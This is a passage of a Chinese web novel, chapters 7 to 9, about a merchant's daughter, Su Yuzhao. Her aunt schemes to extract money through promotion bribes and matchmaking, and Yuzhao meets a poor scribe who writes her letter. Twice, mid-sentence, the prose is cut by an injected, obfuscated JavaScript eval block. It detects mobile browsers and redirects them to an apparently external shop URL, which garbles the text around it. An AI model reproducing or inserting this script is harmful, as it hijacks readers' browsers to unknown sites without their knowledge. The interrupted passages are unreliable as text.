郑氏道：“嫂子放心，我正打听着呢，必给玉娘寻个公婆慈爱，郎君斯文，人口简单的好人家。就算玉娘女红上不强，但她擅算筹，又是这般绝色样貌，想来婆家也不忍苛责的，到时候咱们多雇佣几个绣娘，一起陪送过去，也就是了。 崔氏听了赶紧道：“弟妹好歹上心。说实话，玉娘过了年就十八了，正是大好年华，女孩家又比不得男子，再牵延两年就晚了，我心里实在着急。我没什么见识，在京城也不认得什么人，比不得弟妹出身名门，又有诰命在身，眼界高，人缘也广。” “嫂子急什么，前儿就有好几家遣了媒人来求，我度量着不是根基差些，就是模样不配，所以没跟你们说。”郑氏道，“玉娘是我看着长大的，就跟我的亲闺女一般，再者她是大姐儿，她嫁得好了，才能给下面妹妹们开个好端，我岂有不万分上心的。我的意思，还是在相熟的世交家里筛选筛选，早则年底，迟则明年开春，必有准信儿的。” “对对，还是弟妹考虑的周到。”崔氏点头道。 苏玉照：“......” 啧，又来。二婶婶这车轱辘话说了也有两年了，哪次不是拿这个当幌子向爹娘要钱。偏母亲耳根子软，人家抛根儿蛛丝就当救命藤儿。 且往下听罢，投了铒下来肯定还有后话。 苏玉照嚼着橘瓣儿，不动声色地坐着。 果然，郑氏见小丫头端上茶来，亲自捧了一盏放到崔氏面前：“这不往前重阳佳节，九月初七，东平侯府设宴，请各家老爷夫人、公子小姐去赏菊花。侯府大房的二公子，我见过几次，着实是青年才俊，比咱们玉娘大两岁，若两人站在一处，活似一对金童玉女，再合适不过的，他家夫人也跟我露过口风儿。不如到那日大嫂和我一同带着她们姊妹去赴宴，先相看相看？” 苏玉照头疼地揉揉额角，二婶婶说的那位东平侯府二公子，李笏，李执玉，正是他们那一堆儿里的一个，仗着家世嚣张跋扈，和苏玉照很不对付，两人每每碰面必要掐斗一番，不分出个输赢，绝不善罢甘休。 好在苏玉照技高一筹，无论比试什么，总是赢得多，输得少。 有次那李执玉输恼了，信口说：“哼，你别得意，你的名字里带玉，我的名字叫执玉，早晚是要拿下你的。你等着，我明儿就让媒人去你家提亲，把你娶到我家给我做媳妇，让你天天服侍我。” 苏玉照一听火噌得顶到脑门，上去给李执玉两嘴巴：“放屁，你名字里也带玉，我的名字叫玉娘，你怎么不给我磕头，管我叫娘？想降服我，做梦去吧，天下男人都死光了，我也不会嫁给你。” 李执玉气得浑身乱战，狠狠瞪了苏玉照一眼，转身就走。 从此两人更是水火不容，说是死对头也不为过。 让苏玉照嫁给他，慢慢受那家伙的磋磨，还不如一刀给她个痛快。 苏玉照讪讪笑道：“二婶婶，那个李执玉，我认得他，最是傲慢无礼的，实在不是良配，你带妹妹们去赴宴，我就不去了吧？” 7. 第7章 郑氏还未答话，崔氏先恼了，指着苏玉照轻斥道：“玉娘，你别犯浑，又跟我说那些歪话，男大当婚女大当嫁，还当自己是小孩子呢，终身大事全不放在心上。二婶婶肯带你出去见人，是为着你好，你也自该尊重，端庄得体，拿出大家小姐的体统来，不要给你二婶婶丢脸，听到没有？” “娘，我知道，但是那李笏......”苏玉照面露难色。 崔氏道：“人家是侯门公子，架子排场自然大些，但只要才学、人品好，别的就都无妨。你原是叫我和你爹爹惯坏了，处处要强，所以才看人家不顺眼。” 苏玉照撇撇嘴：“李执玉的才学，还不如我呢。嘿，他作诗没我有文采，投壶没我有准头，摇骰子都没我点数大，哈哈哈......” 她越说越得意，想起李笏被她气得吹胡子瞪眼却无可奈何的样子，不由抚掌大笑。 “你......”崔氏气得在她背上不轻不重地拍了一下，“坐好了，整日猴儿似的，一点规矩都没有。” 郑氏却很好脾气的笑道：“原来玉娘和执玉相熟，怪道东平侯夫人特特向我打听你，想来定是执玉同他母亲提的了。我与东平侯夫人未出阁时就是手帕交，早说过要做亲家的话，本来还想着把你们姊妹三个都介绍给执玉认识，看和哪个投缘，没想到他先相中玉娘了。依我看，倒是门好亲。” 苏玉照听罢一脸惊悚，连连摆手：“二婶婶可别被他骗了，他可不是相中我，我们原有些嫌隙，他怕是要借婚事报复我：先下了定，过后再找由头退亲，让我在全城丢脸。二婶婶不知道，那李执玉在长辈面前惯会矫饰伪装，做出一副谦谦君子的模样，其实他一肚子坏水，不但我不要他，便连二妹妹三妹妹也不能找这样的夫婿。” 郑氏原就有让自己女儿嫁入侯门之意，所以东平侯夫人向她问起苏玉照时，她心里还老大不乐意。 此时看到苏玉照对李笏无意，她反倒高兴起来：“玉娘不用担心，虽说婚姻大事，讲究父母之命媒妁之言，但咱们也不是那颟顸迂腐的人家，自然还是以你们姊妹的心意为重，你既不喜欢他，也不用勉强。但这宴会还是要去的，除了执玉，还有许多世家贵公子到场，你不喜欢他，还可以相看相看别人。” 苏玉照不想去，她没谁好相看的，那群人也绝对瞧不上她，但看崔氏的脸色实在不悦，她若再说一个“不”字，少不了又是一顿教训。 “好，那就劳烦二婶婶了。”苏玉照只得依从道。 去就去吧，全当吃大席，散散心，顺便能谈成两笔生意，那就更好了。 她一松口，崔氏满意了，郑氏也满意了，赞道：“嫂子还说玉娘顽劣，我看她是最懂事孝顺的了。” 苏玉照干笑两声，心里已经知道郑氏铺开了场子，接下来就该要钱了。 “大嫂你看，既要赴宴，这几个孩子也该收拾齐整才是。我上了年纪的人，纵朴素些倒也无妨，但你瞧她们姊妹，身上穿的还是旧年的衣裳，颜色也沉闷，如何见得人呢。”郑氏摊手道，“大哥出门前倒是给了半年的家用，但这两月间，中秋紧连着重阳，我预备各家人情客礼，又给母亲置了副新?髻，竟花了个七七八八。眼下想要给几个孩子裁两身新衣裳，却拿不出银子。” 郑氏说着叹了口气，颇为自责道：“哎，都怪我才短，调度这一大家子人事，着实艰难，每日一睁眼，柴米油盐都是银子，少不得拆东墙补西墙，饶是如此，也常常捉襟见肘。不如往后还是大嫂掌家吧，我也好躲懒轻省轻省。” 苏玉照趁机道：“二婶婶有了身子，的确该好生保养，不如我替婶婶代管几个月，也好历练历练。” “玉娘。”崔氏制止她道，“你才多大了，府里上上下下几百人，你一个未出阁的姑娘家，如何摆排得开。” “弟妹，我自然知道掌家的艰难。”崔氏转而对郑氏道，“若弟妹都调度不了，我们就更不能了。不说别的，就单人情客礼一项，那些侯门公府，不是看在弟妹面上，咱们恐怕连门都敲不开，更遑论有来往了，所以还是得劳烦弟妹辛苦辛苦。至于银子，你不用操心，我早预备下了。她们姊妹几个正是抽条长个子的年纪，我打量着她们的衣裙短了，正要叫裁缝来家里量体裁衣，给她们每人做两身秋衣，两身冬衣，顺便也给母亲和咱们妯娌几个做两身。” “哎呦，还是嫂子心细，又疼我们。”郑氏客套道，“嫂子只管给她们做，不用做我的，能省俭就省俭些吧。” 崔氏笑道：“弟妹这话说的，咱们家难道还做不起衣裳了不成，你往前身子重了，再穿以前的衣裳也不合身，纵别人不做，也得先给你做的。” 玉贞、玉明听崔氏如此说，都站起来道谢：“多谢大伯母。” 苏玉照倒没当回事，做几件衣裳而已，再华丽的样式也不过几百两银子，都是小钱，不必放在心上。 到底是一家人，若连这些也要斤斤计计，就太不像了。 再怎么说，有二叔在官场上，对她们家的生意，到底是有照拂的，最起码不用太受税官那头的盘剥。 崔氏和郑氏妯娌两个说得亲热，倒把上座的严母冷落了，苏玉照见严母神色淡淡地，似乎不大高兴，便主动道：“祖母，午间我叫人送了一百盆菊花来给祖母赏玩，祖母可还喜欢？” 严母点点头：“你瞧，不是都摆上了？难为你有孝心，我很喜欢。” 听这语气，可不像很喜欢的。 她这位祖母，只喜欢真金白银，送菊花这种有雅趣的东西，不如送银子来得实在。 便是想出各种明目向崔氏要钱，也多是祖母的主意，只是她自持身份不出面，只让二婶婶开口。 苏玉照心知肚明，却佯装不懂，笑道：“祖母喜欢就好。” 几人又说了会子闲话，就有人来回，说晚膳都备好了。 正好苏柏川和苏桦山也回来了，还有苏桦山的两个儿子，也下了学，进来给严母请过安，便退到屏风后，跟父亲、二伯坐了一桌。 里头严母带着三姊妹坐一桌，崔氏妯娌三个执箸摆饭，收拾停当便也归坐。 席间聊些家常，苏柏川讲起外头的见闻，又问了问两个侄子的功课，一顿饭吃得其乐融融。 只有崔氏，见别人家都夫妻团圆，不由有些思念自家夫君，又不好扫兴，也只好陪着说笑。 苏玉照向来是心大的，虽父亲不在家，也不觉得怎样，一个劲儿撺掇两个妹妹吃酒，还自己偷偷换了大杯，待散了席便有些醉醺醺的，直往崔氏身上靠。 一时酒足饭饱，苏柏川兄弟两个带着侄子自去赏菊作诗玩乐。 嬷嬷把姜氏的小儿子抱了来，说“哥闹觉儿要吃奶”，姜氏趁便告退出去了。 严母上了年纪，晚上睡得早，大家饭后略坐了会儿，也都散了。 郑氏见苏玉照醉眼朦胧，于是吩咐玉贞、玉明二人扶她回去，又叫住崔氏：“大嫂留步，我还有句话，到我房中吃杯茶吧。” 两人来至郑氏院里，苏柏川犹未回来，郑氏把她让进屋，小丫头忙端上茶来。 “大嫂请坐，尝尝这茶，前儿我母亲打发人送来的，说是陛下赏的，叫什么金琥珀。”郑氏笑道，“统共只有两小饼，不怕大嫂笑话，连母亲我都没舍得孝敬呢。” 崔氏品了一小口，果然异香满吼，回甘醇厚，点头道：“真是好茶。” “大嫂喜欢，就拿一饼回去。”郑氏说完，又对丫鬟们道，“你们都下去吧，守着门，二爷回来就说我待客呢，让他先去东厢房，别进来唐突。” “是。” 待众人都退出去，郑氏见四下无人，这才悄悄向崔氏道：“好姐姐，妹子眼下有件烦难的事，实在没法子可想，只得跟嫂子商量。” 崔氏迟疑了一下，还是道：“弟妹不要外道，咱们都是一家人，自当相互扶持。苏家在京中又没有别的宗亲，还得靠着弟妹娘家提携，你有什么难事，只管告诉我，我虽没什么本事，到底还有几两银子在手里，只要能用钱摆平的，就都不怕。” “嫂子说得极是。”郑氏笑道，“说起来其实是件好事。二爷这次奉旨巡查，差事办得很好，陛下也赞赏有加。正巧吏部尚书徐大人的父亲亡故，徐大人请辞回乡丁忧，陛下已经准了，如此一来，吏部堂官的位子就空了出来。二爷身为吏部侍郎，原该顺位升上去的，只愁没个人在陛下面前递句话。” “呦，这样的大事，弟妹该同郑阁老商量呀，我一个后宅妇人，哪儿懂得官场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371004|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事呢。”崔氏认真道。 郑氏道：“家父是内阁首辅，怎么能推举自己的女婿呢，不但不能举荐，他还要避嫌，哪怕别人举荐了，他还要在陛下面前驳一驳呢。所以这事只能另谋出路。” 崔氏了然，查看郑氏的神色，问道：“弟妹可是已有主意了？” 郑氏颔首：“我已想好了请哪几位官员帮忙进言，但只这几个人，恐怕还不够分量，总得找个陛下信得过的大臣，再在陛下跟前美言几句，就准保能成了。肃国公沈大人，与家父同在内阁，早年又有从龙之功，深得陛下倚重，若能求得他去说，必然十拿九稳，只是......” “嗯，弟妹不用说了，我都明白的。”崔氏一点就透，“不过就是需要银子打点,比起二弟的仕途来，银子都是小事，需要多少弟妹只管说。” 郑氏感激道：“还是嫂子深明大义，等柏川当上吏部堂官，咱们家的门第又高一阶，对她们姊妹几个的婚事大有助益。” 她凑到崔氏面前，故意压低声音道：“更重要的，若能借此事同肃国公家攀上关系，那就彻底改换门庭了。我听说，肃国公家有位小公爷，年纪轻轻甫一及冠就袭了爵，那真是芝兰玉树、龙章凤姿，人称‘京城第一公子’，现如今还未娶亲，玉娘如果与他结成良缘，往后世代都是皇亲国戚，岂不是鲤鱼跃龙门了？” 崔氏听得心头狂跳，勉强自持道：“人家天潢贵胄，哪里能瞧得上我们家一届商贾，云泥之别，如何能相提并论。” “哎，嫂子莫灰心，事在人为。”郑氏道，“玉娘这样出挑，嫁到寻常人家，白埋没了她的人品，凭他怎么金尊玉贵，只要见了玉娘的人，我就不信他不动心，只要小公爷愿意，这事就不难。” 一番话说得崔氏十分动容，握着郑氏的手，感激道：“难为你为玉娘筹谋至此，叫我怎么谢你才好。” 郑氏坦诚道：“一家子亲骨肉，说什么谢不谢的话。实话跟嫂子说，我也有我的私心，一则为了二爷的仕途，二则也为了以后玉贞、玉明好寻婆家。嫂子愿意的话，就先借我五千两银子，我备份薄礼，先去国公夫人那里探探口风，过几日去侯府赴宴，让玉娘和沈小公爷见上一面，嫂子意下如何？” 崔氏虽然心热，却一下子难住了，踌躇道：“弟妹，咱们妯娌间，还说什么借不借的话。只是五千两实在不是小数目，三五百的现银我手里倒还有，一下子要五千，我还真拿不出来。要不等明日，我同玉娘说了，叫她去楼里公账上支了，再给你送来？” “嫂子千万别跟玉娘说。”郑氏摇手道，“玉娘什么脾气你我都了解，若让她知道咱们拿银子求人和她相看，绝对不会同意，非闹个天翻地覆不可。 “弟妹说得是。”崔氏蹙眉苦思良久，终于下定决心道，“既不走公账，我那里倒还有几张地契，典当了够换几千两的，我这就与你取了来，只不让玉娘知道就是了。” 郑氏口内再三再四道谢，心中却很得意，她就知道，崔氏肯定有体己钱，为了苏玉照的前程，要多少崔氏都肯拿出来。 “不劳嫂嫂多跑一趟，我亲自去同嫂子取来，岂不省事？”郑氏说着就站起身。 崔氏也起身道：“你怀着身孕，又出去跑什么，歇着吧，我去去就回。” 郑氏怕崔氏回去，被苏玉照发现了拦下，执意要跟着：“嫂子放心，大夫都说我胎象稳固，得多走动走动才好，免得太过笨重，不好生产。” 崔氏无法，只得依她。 两人相携穿过庭院，几个丫头在前面举着灯笼引路，又有嬷嬷在身后护送。 院中几株桂花开得正盛，夜色朦胧中幽香馥郁。崔氏忍不住抬手折了一枝，拿在手中把玩，与郑氏说笑着出门去了。 东厢房没有点灯，此时窗前立着一人，默默将这一幕瞧在眼里，待院中重归平静，苏柏川才向身后的小厮吩咐道：“去，架上梯子，剪两枝花苞多的桂花，放到我房里插瓶。” 小厮犹豫道：“老爷，昨儿太太还说，这桂花香气太浓，熏得她头疼呢，再供到房里，恐怕太太会生气。” “蠢材。”苏柏川气得负手骂道，“那就摆到书房里。” 小厮被骂得摸不着头脑，只得嗫嚅应“是”。 8. 第8章 崔氏和郑氏二人进到东跨院，迎头正碰见回来玉贞、玉明，几人又一起来至崔氏房里。 好在苏玉照已经回自己屋里睡下了，对这边的事情一无所知。 崔氏请郑氏稍坐，自己走到里间，从柜子里拿出个小木匣，打开后信手从匣中取出一叠地契，数了几张放到一边，又把剩下的收了起来。 郑氏隔着珠帘，探头探脑地往里张望，就见崔氏掀帘走出来，将手中的契书递给郑氏:“这些应该够了，弟妹收好。” 郑氏道谢接过，心中暗道:她拿得这样随意，只怕那匣子里还多着呢。 只可恨苏老太爷偏心，临终前立下遗言，整个“万宝楼”全由大房继承，楼里用得也都是以前的老人。 她和老三家全插不进手去，只能眼睁睁白看着老大家日进斗金，她们两家只能得些月例银子，想要份外另支一点，还要看大嫂的脸色。 一般都是苏家的儿孙，凭什么人家吃着她看着，合该想个法儿，把金楼给三家分了才好。 但此事干系重大，得由严老太君出面来说方可。 郑氏知道，严老太君让她管家，不过是拿她当枪使，借着她的势挟制大嫂，要钱要东西都让她张嘴，自己却躲在后面享福，还装模作样地和大哥扮演母慈子孝，生怕别人说她这个继母对大儿子不好。 平日里小打小闹，严母躲也就躲了，到了分家产的真章上，可不能打马虎眼。趁着老太君现在还明白，催着她早把此事办妥当，免得老人家哪天蹬腿儿去了，大嫂一家把持着金楼，再不肯分给她们一点的。 郑氏心中翻江倒海地盘算，面上却不露一点，笑着说让崔氏早点就寝，自己带着玉贞、玉明回去了。 第二日是九月初三。 苏玉照一直睡到辰时，才在床上伸了个懒腰，揉着发疼的太阳穴坐起来。 宝珠和翠钿两个侍女听到动静，忙从外间进来，一个挂起床帐，另一个从熏笼上取下苏玉照今日要穿的衣裙。 宝珠道：“姑娘醒了？起来先用早膳吧。夫人说老太太那里她已请过安了，也替姑娘告了罪，说吃醉了酒还睡着。老太太说不要惊动，就让姑娘睡饱了，今日也不必再过去请安了。” 苏玉照闻着自己一身酒气，想起昨日回来草草梳洗完就睡下了，便道：“我要洗澡。” 翠钿听说，就又从柜子里拿出一件家常穿的玉兰色中衣，先给苏玉照穿上：“我去叫人放水，姑娘先吃点东西垫垫肚子，免得一会儿热气一蒸犯头晕。” 苏玉照趿着鞋下床，来到外间小厅上，宝珠已经摆好了饭：一份百合莲子粥，一碟虾球水晶饺，并几样菜蔬。 苏玉照早膳一向吃得清淡，不喜荤腥，厨娘知道她的脾胃，便尽量把饭菜做的精致悦目又清爽开胃。 “金环和银屏怎么不见？”苏玉照坐下，边吃边问。 宝珠笑道：“姑娘还问她们呢。她们两个如今可算得了意，一大清早就起来，打扮得体体面面，跟我和翠钿辞行，说是奉了姑娘之命，要去‘万宝楼’公干，不能在家跟我们端茶递水的了，还教导我们好生服侍姑娘。把她俩人能的，不就是去看看账本子，谁不会似的。” 苏玉照也被逗笑了：“我不过是想着，楼里虽有账房先生，又有陈二伯监管着，出不了大错，但到底不如自己人勤盯着，我也好心中有数。你要是也想去瞧瞧，赶明儿让银屏与你替班儿。” “我才不去呢。”宝珠道，“又不是没到楼里逛过，也没什么新鲜的。她们喜欢去听那些管事的虚伪奉承，就自己听去。我宁愿守在家里，姑娘回来也好有个热汤热茶的，我也落得心静。” “我怎么忘了，你性子恬静，不喜欢人多，别人觉得热闹有趣的，你反嫌聒噪。” 宝珠道：“幸而还有个翠钿跟我作伴儿，要不然整日自己在家，也是闷闷的。” “各人有各人的脾性，不必勉强。”苏玉照道，“不过，过几日我跟二婶婶到东平侯府赴宴，你得跟我去，她们几个都不及你心细稳重，这样的场合，还是有你跟着，我才安心。” “哎，我记下了，一会我提前打点好要带的东西，只不知姑娘要穿哪身衣裳，用哪套插戴。”宝珠问道。 “还有好几天呢，不用着急。”苏玉照吃饱了，用绢帕擦了擦嘴，站起身不甚在意道：“衣服你不用准备，母亲说给我们裁新的，首饰不拘戴哪套吧，也没什么要紧。哦对了，多选两只步摇，我这次去，可是要扮淑女的。” 宝珠抿嘴笑了笑：“是。” 沐浴过后，苏玉照换好衣服，上身穿了件小琵琶袖缎衫，下配缠枝花织金马面裙，头上只戴了个莲花冠。 收拾得干净利落，英姿飒爽，吩咐人牵马匹来就要出门。 刚到阶前，就见崔氏的侍女福宁走来行礼道：“姑娘，太太叫姑娘去呢，说衣馆派了几个裁缝、绣娘，现正在前头候着了，要给老太太、太太和姑娘们量体裁衣呢。” 苏玉照道：“我今年也没长个儿，不用量了，姐姐管宝珠要两件去年的衣裳，让他们比着裁就是。” 福宁一把拉住她，央告道:“好姑娘，你好歹去应个景。太太就知道姑娘必不耐烦，特意叮嘱我，一定要请了姑娘过去呢。姑娘不去，我回去要挨骂的。” 苏玉照无奈，只得跟着福宁来到崔氏居住的紫棠馆，郑氏已经带着玉贞、玉明过来了，此时都已经量完尺寸，正在挑颜色和花样儿。 领头的裁缝道：“因太太、姑娘们订得急，所以只能用现成绣好的布匹，想要新奇花样是不能了，不过请夫人放心，咱们衣馆，即便是成衣，款式花样也是顶好的，断不会让太太、姑娘们失了身份就是。” 崔氏笑了笑道：“你们锦华衣馆的手艺，我自然信得过的。我们家差不多的衣裳，都是在你家做的。” 见苏玉照进来，崔氏招手道：“玉娘快来，我和你婶婶、妹妹们已经定完了，你快量了挑出料子来，我好带裁缝们进去见老太太。你三婶婶家幺哥儿积食发热，今日不得脱身过来，我一会也要过去探望呢。” 苏玉照听话地展开胳膊，任凭两个裁缝拿着软尺在她身上比比划划：“母亲既忙，还非叫我来做什么，又不是什么大事，让她们比着去年的衣裳做就是了，我今儿还要去楼里呢。” 崔氏嗔道：“楼里有你几个世伯司掌，还能出岔子不成，你还是顾好自己的事，装扮得漂漂亮亮的，跟着你二婶婶去侯府赴宴是正经。” 苏玉照抿抿嘴，当着外人的面，她不好说楼里出了偷金的事，只好勉强应了，转身去看绣娘带来的衣料样子。 “真难为两位夫人怎么这么会生养，三位小姐一个赛一个，竟都如明珠一般，长相自不用说，单这言谈气度就把人比下去了，不是我奉承，满京城也难寻出几个来，偏您家就一下子出了仨，得是什么样的神仙郎君才配得上吆。” 绣娘的嘴像抹了蜜，夸得郑氏、崔氏都春风满面。 郑氏笑道：“我们家的姑娘，金尊玉贵的娇养到这么大，自然都是好的，眼见到了说婆家的年纪，还指望着你们的衣裳给增光添彩呢，可要给我们好好做。” 裁缝哈腰道：“夫人您就放心吧，我裁衣裙，最大的绝活就是显腰身，几位小姐身量纤秾合度，个子又高，穿着我做的衣裳去相看，必得贵婿的。” 郑氏道：“那就借您吉言。” 八仙桌上摆着几十种布料，皆是上等绸缎，玉贞、玉明已挑好了，一个选了丁香色蝶恋花纹,一个选了鹅黄色牡丹花纹。 苏玉照粗略看了一圈，挑了其中一匹朱砂红色绣宝相花纹的：“就这个吧。” 玉贞在一旁道：“姐姐肤色白，穿红色最相称。” 苏玉照也不自谦，对玉贞、玉明道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371005|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们在家玩儿吧，我出去一趟，回来给你们带礼物。楼里新进了一批好珍珠，又圆又亮，我让人攒了几枝花钗，拿来给你们插戴。” “多谢姐姐。”玉贞、玉明笑着道谢。 郑氏也道：“还是玉照最疼她妹妹们。” 苏玉照揽了下玉贞的肩膀，笑道：“谁让两位妹妹乖巧可疼呢，若是那等顽劣不堪、得陇望蜀的，我也少不得要藏私了。” 郑氏被她不咸不淡地噎了一句，还没想好怎么回，苏玉照已经背着手，溜达着走出门去了。 应付完这边，苏玉照来到东跨院大门外，小厮已经牵马等着了。 她接过缰绳和皮鞭，踩镫上马，也不叫小厮跟着，一人一骑独往金台坊而来。 到了万宝楼近前，先往对面的吴记成衣铺门口看去，果然看到昨日那个书生正坐在案前写字。 他坐姿端正，眉眼温润，一手拢袖，一手执笔蘸墨，微微偏头，认真聆听桌前老妪絮絮叨叨、颠三倒四地诉说，凝炼出有用的讯息，再写成简单易懂的语句，郑重落到纸上。 写完之后，又一字一句指着给老婆婆念了一遍。 老妪听得频频点头：“是了是了，我就是这个意思，只是说不明白。” “可还有什么要添的？”书生很有耐心地问道。 老妪道：“也没别的，就问他在兵营，可否吃饱穿暖，几时回家。” 书生道：“阿婆，这些都写明白了。我帮你封起来，你拿到驿馆，交给信差就好。” 老妪收了家书，合掌再三道谢，末了从竹篮里拿出一个小坛子道：“我也没甚谢你的，这是我自己做的糟鱼，小郎君别嫌弃。” “不用不用，您给了钱的，这我不能收。”书生连连推辞。 老妪把坛子放到桌角，起身就走。 “阿婆，阿婆......”书生唤了几声，那老妪也不回头，快步走到人群中，这厢又有人来请字，书生无法，也只好罢了。 他把瓷坛搬起，放到桌旁地上的竹筐里，坐回凳子上，拿起毛笔，询问下一位客人要写何字。 苏玉照端坐马上，远远地看了一会儿，视线落在书生写字时露出的那截腕骨上。 “万宝楼”当值的马僮一路小跑过来，肩上扛着个条凳，放到马镫下，仰脸儿笑道：“请少东家下马。” “一边儿去，我用得着这劳什子？”苏玉照笑着翻身下马，把马鞭往马僮怀里一扔，信步往对面的写字摊走来。 书生刚送走上一位客人，正在收拾笔墨。他重新拿出一张纸，用镇纸压平，在石砚里倒了一点清水，手执墨碇一圈圈儿研磨，动作沉稳舒缓。 另一只手里则握了本书册，趁着没人的间隙翻看两页。 正默诵间，忽见白纸上多了道剪影，书生忙放下书抬头，就见一个女子抱臂立在桌前，眼含笑意地看着他。 女子面容姣好，身着华服，与周围的纷乱嘈杂格格不入。 出摊这些时日，书生也渐渐习惯了别人的窥探与打量，于是面容如常地问：“姑娘是要写字？” “对，写封家书。我昨日来时，先生已经收摊了，托吴伯向先生预约，他同你说了吗？”苏玉照说道。 “吴伯早起和我说过了。”书生点头道。 他从自己身侧另拿了一个铺着软垫的圆凳，放到桌旁，示意苏玉照坐下：“吴伯同我说过了，姑娘是要写信给令尊？可以把要紧的说给我听，我先拟一稿，姑娘看看可用不可用。” 苏玉照垂眸，看向凳子上的软垫，材质是很普通的细棉，青灰色，像是用旧衣裳改制的，上面绣了只小狸猫，正在用爪子挠痒，撅着小屁股，十分憨态可掬。 绣工还不错，一看就是女子的手艺，垫子也很厚，软蓬蓬的，可见做这软垫的人十分用心。 苏玉照勾唇：“尊夫人手可真巧。” 9. 第9章 “嗯？”书生不明所以，看向苏玉照，又随着她的目光看向凳子上的软垫。 “这是舍妹做的，让姑娘见笑了。”书生的解释道。 苏玉照却有些扫兴，这男子，并没有看起来那么纯净无暇。 方才几个客人来，他并没有另置座位，现在见她穿戴富贵，便刻意讨好，虽只是个不值一提的软垫，但见微知著，他如今还是个穷书生尚且如此，将来若金榜题名入了官场，还不知怎样的趋炎附势呢。 苏玉照心中不屑，脸上却笑意更甚：“小郎君这般贴心，那些年轻貌美的姑娘们见了，定然会心生爱慕，若因此误了终身，可怎么是好呢？” 书生闻言绷起脸，蹙眉道：“薛某岂是如此浮浪之人？只因察姑娘举止，方才有个肉贩提着生肉过去，姑娘便掩鼻遮口，想来是喜洁之人。” 他指了指桌前原本的座位：“那张凳子每日许多人坐，三教九流都有，我怕姑娘嫌腌臜，所以才拿这个给你。那垫子我妹妹昨日才做好，今天带出来，连我也不曾用过，若我用过，也不敢给姑娘使了。” “这话奇了。你拿新的给我使，只因我讲究，难道那些三教九流的人就不配讲究了？再者，若再有旁人来，也同我一般有洁癖的，你又当如何呢？难道令妹做了十个八个的新垫子，但凡挑剔的客人，你都有的换呢？即便如此，那也是看人下菜碟了，终究算不得君子。”苏玉照反驳道。 “我……”书生一时语塞，脸颊升起薄红。 他并未想太多，见到苏玉照，鬼使神差地便给她拿了个新凳子，往常来请他代笔的女子也不是没有，他从未留心过对方是否讲究，今日一番好意倒成了把柄，着实令人懊恼。 “你既疑心，就不要坐了。”说着，他竟把那凳子撤了回去。 苏玉照一愣，知是自己偏颇了，失笑道：“你这人好无趣，我不过一句玩笑话，你怎么就恼了。” 书生亦知来者是客，吸了口气，收起脸上的冷色，淡声问道：“姑娘要写什么？” 苏玉照见他仍不让自己落坐，挑了挑眉，抱臂靠在桌边，屈起一条腿，脚尖儿点在地上，随口念道：“父亲大人膝下：七夕一别，已两月余，叩问尊安。不知今宿何处，事务完否，归期有期？展眼重阳在即，北地朔风渐凉，登高簪菊之时，虽美酒在侧，好景满坡，仍难抵忧思。吾尚能自顾游幸消遣一二，惟母亲思君切切，日夜悬心。万望父上好自珍摄，衣食殷勤，早归故里。金山银海，终究身外之物，终其一生汲汲营营，其无尽者。莫若阖家团聚，共享天伦，方乃人间至乐。家中俱安，祖母身体康健，妯娌姊妹亲密无间，二叔已回京述职，不日或将高升，可喜可贺，只有三叔仍旧斗鸡走狗，不见长进。楼中诸事周全，父上不必牵念。吾将携酒倚闾，盼父早挂归帆。” 她一面说，书生便将她所述行云流水般写了出来，待到落款处，书生停笔，看了苏玉照一眼：“姑娘看来也是读书识字的，如若不便，此处就先空着，姑娘回去自己添上名讳亦可。” “我前几日拉弓划伤了手，现下可写不了字，不然也不劳烦先生代笔了。”苏玉照说着，将右手伸出来给他看，果然在虎口处有一道伤痕，结了痂不久，颜色还有些鲜红，在那只白润如玉的手上，颇为触目惊心。 书生看了一眼，没有说话。 苏玉照接着道：“你就写‘女儿玉照伏拜敬上’。” 书生颔首，依言运腕着墨，在写到苏玉照的名字时，笔尖儿迟滞一瞬。 他自觉有些唐突，女儿家闺名，是不轻易外传的。 但转念一想，既是代笔书信，断没有遗漏之理，这位姑娘是会写字的，若碰到不会的呢，难道只要是个女子来，自己就不给人家落款吗？ 况且她手伤不便，自己只管避嫌，反倒叫她为难了。 再说，她已经把名字说了出来，他就是有心想避嫌，耳朵也已经听到了。 反正彼此互不相识，就算知道了名讳，谅也没什么妨碍。 他顺势写完，搁下笔，又从笔山旁拿起一只石雕的直钮小印，钤在了信纸背面的角落里，以做凭据。 苏玉照留神看了一眼，印的是“薛鹤卿书”四个字，心中暗自点头，这名字淡泊清逸，倒配得上他的样貌品格。 薛鹤卿站起身把信纸递给苏玉照，请她过目：“若有不妥，我可以重新誊抄一份。” 苏玉照看了一遍，只见上面字迹银钩铁画，笔锋苍劲有力，可谓赏心悦目。 “先生的书法颜筋柳骨，做个写字先生，实在屈才了。”苏玉照诚心赞道。 “养家糊口的营生，谈不上屈不屈才。”薛鹤卿语气坦然道，“在下还要多谢贵人光顾。” “可惜这纸不好，太薄了，有些洇墨，笔毫也硬，墨也不太匀，白辱没先生的好字。”苏玉照可惜道。 薛鹤卿以为苏玉照是在嫌弃，低头歉然道：“在下确实没有好笔好墨，但胜在价格公道便宜，一封书信只收十文钱，若换成宣纸胶墨，我就要折本了。因往日找我写信的也大都是穷苦人家，并不在意这些。姑娘若觉得不好，我也无可奈何了。” 